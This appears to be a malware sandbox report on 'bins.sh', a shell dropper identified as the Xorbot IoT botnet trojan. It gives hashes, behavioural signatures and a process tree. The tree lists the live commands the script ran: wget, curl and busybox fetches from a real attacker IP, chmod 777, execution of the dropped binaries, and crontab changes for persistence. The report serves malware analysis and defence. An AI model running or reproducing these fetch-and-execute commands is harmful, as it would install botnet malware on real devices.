Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    87s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    29-11-2024 20:32

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    4340829a5d2e9e132fdbbf479f59b654

  • SHA1

    3bb1f59713b036d0f6f68fa86ba9bfd3458ac30b

  • SHA256

    7755066b22c43471c2987cb914ace3631a6ac10c923904efafa6c9d5dc72867b

  • SHA512

    826ffde81e8616b9bc64473f04310122b3d039b50e63f362c092a61bb5bef855da20b7e3dc80efde1fe97549775d7d8f307f04d2b053e95d1f54d04df9201e0d

  • SSDEEP

    192:DrM/jjo+WmjyakT/WMBb7+W0yakT/7VY/jC:DrM/jj53MBL+/jC

Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:660
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:663
        • /usr/bin/wget
          wget http://216.126.231.240/bins/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          2⤵
          • Writes file to tmp directory
          PID:670
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:684
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          2⤵
          • Writes file to tmp directory
          PID:693
        • /bin/chmod
          chmod 777 U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          2⤵
          • File and Directory Permissions Modification
          PID:694
        • /tmp/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          ./U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          2⤵
          • Executes dropped EXE
          PID:695
        • /bin/rm
          rm U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          2⤵
            PID:697
          • /usr/bin/wget
            wget http://216.126.231.240/bins/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
            2⤵
            • Writes file to tmp directory
            PID:698
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:699
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
            2⤵
            • Writes file to tmp directory
            PID:704
          • /bin/chmod
            chmod 777 fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
            2⤵
            • File and Directory Permissions Modification
            PID:707
          • /tmp/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
            ./fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
            2⤵
            • Executes dropped EXE
            PID:708
          • /bin/rm
            rm fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
            2⤵
              PID:712
            • /usr/bin/wget
              wget http://216.126.231.240/bins/sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
              2⤵
              • Writes file to tmp directory
              PID:713
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:719
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
              2⤵
              • Writes file to tmp directory
              PID:727
            • /bin/chmod
              chmod 777 sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
              2⤵
              • File and Directory Permissions Modification
              PID:730
            • /tmp/sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
              ./sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
              2⤵
              • Executes dropped EXE
              PID:732
            • /bin/rm
              rm sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
              2⤵
                PID:734
              • /usr/bin/wget
                wget http://216.126.231.240/bins/hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
                2⤵
                • Writes file to tmp directory
                PID:735
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:742
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
                2⤵
                • Writes file to tmp directory
                PID:754
              • /bin/chmod
                chmod 777 hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
                2⤵
                • File and Directory Permissions Modification
                PID:760
              • /tmp/hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
                ./hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:762
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:764
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                      • Reads runtime system information
                      PID:765
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:766
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        • Reads runtime system information
                        PID:768
                  • /bin/rm
                    rm hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
                    2⤵
                      PID:771
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
                      2⤵
                        PID:774
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
                        2⤵
                          PID:775
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
                          2⤵
                          • Writes file to tmp directory
                          PID:776
                        • /bin/chmod
                          chmod 777 89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
                          2⤵
                          • File and Directory Permissions Modification
                          PID:777
                        • /tmp/89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
                          ./89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
                          2⤵
                          • Executes dropped EXE
                          PID:778
                        • /bin/rm
                          rm 89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
                          2⤵
                            PID:780
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga
                            2⤵
                              PID:781

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
                            Filesize

                            151KB

                            MD5

                            6c583043d91c55aa470c08c87058e917

                            SHA1

                            abf65a5b9bba69980278ad09356e53de8bb89439

                            SHA256

                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                            SHA512

                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                            Download Submit

                          • /tmp/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
                            Filesize

                            111KB

                            MD5

                            701e7a55a4f3650f5feee92a9860e5fc

                            SHA1

                            6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                            SHA256

                            ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                            SHA512

                            7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                            Download Submit

                          • /tmp/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
                            Filesize

                            122KB

                            MD5

                            cd3d4b9c643e5b473fb4d88ed05f0716

                            SHA1

                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                            SHA256

                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                            SHA512

                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                            Download Submit

                          • /tmp/hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
                            Filesize

                            127KB

                            MD5

                            89077b7bd4bcafca7713be43635c4862

                            SHA1

                            fc02edb8fba29ea8ee99e6157ef8560334530052

                            SHA256

                            78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                            SHA512

                            1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                            Download Submit

                          • /tmp/sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
                            Filesize

                            117KB

                            MD5

                            849fa04ef88a8e8de32cb2e8538de5fe

                            SHA1

                            c768af29fe4b6695fff1541623e8bbd1c6f242f7

                            SHA256

                            8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                            SHA512

                            2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                            Download Submit

                          • /var/spool/cron/crontabs/tmp.frDeJF
                            Filesize

                            210B

                            MD5

                            b7547b64e683de5d6ca3259d731f957d

                            SHA1

                            db9941d65f06f5c3fd7ceb5834c03861e383e082

                            SHA256

                            4a84eb72e936b8a6b19d70c9b7d4266793bb26d8e03b8ff9bdd2e4848c1713e1

                            SHA512

                            d1f7a9932433bc7408d7d652108f30880315b609be70078748bd7d5c797eec7968dee8444236b8c3f6e12c91880b157d21ec9690a173a1598fcf73fa997851e0

                            Download Submit